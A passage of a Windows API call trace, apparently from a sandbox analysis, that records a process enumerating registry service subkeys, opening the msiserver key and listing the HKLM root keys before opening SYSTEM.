0x21f1d18 [0232.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0232.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.634] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0232.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0232.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.634] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0232.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0232.634] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.634] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.634] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0232.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0232.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.635] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0232.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0232.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0232.635] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.635] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0232.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.635] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0232.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0232.635] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0232.635] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0232.635] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0232.635] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0232.636] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0232.637] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0232.638] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0232.639] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0232.639] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0232.639] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0232.639] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0232.639] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0232.639] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0232.639] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0232.639] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0232.639] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0232.640] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0232.641] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0232.642] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0232.643] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0232.644] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0232.645] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0232.645] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0232.645] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0232.645] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0232.645] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0232.645] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0232.645] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0232.645] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0232.645] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.645] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0232.645] RegCloseKey (hKey=0x148) returned 0x0 [0232.645] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.645] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.646] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.646] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.646] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.646] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.646] RegCloseKey (hKey=0x80000002) returned 0x0 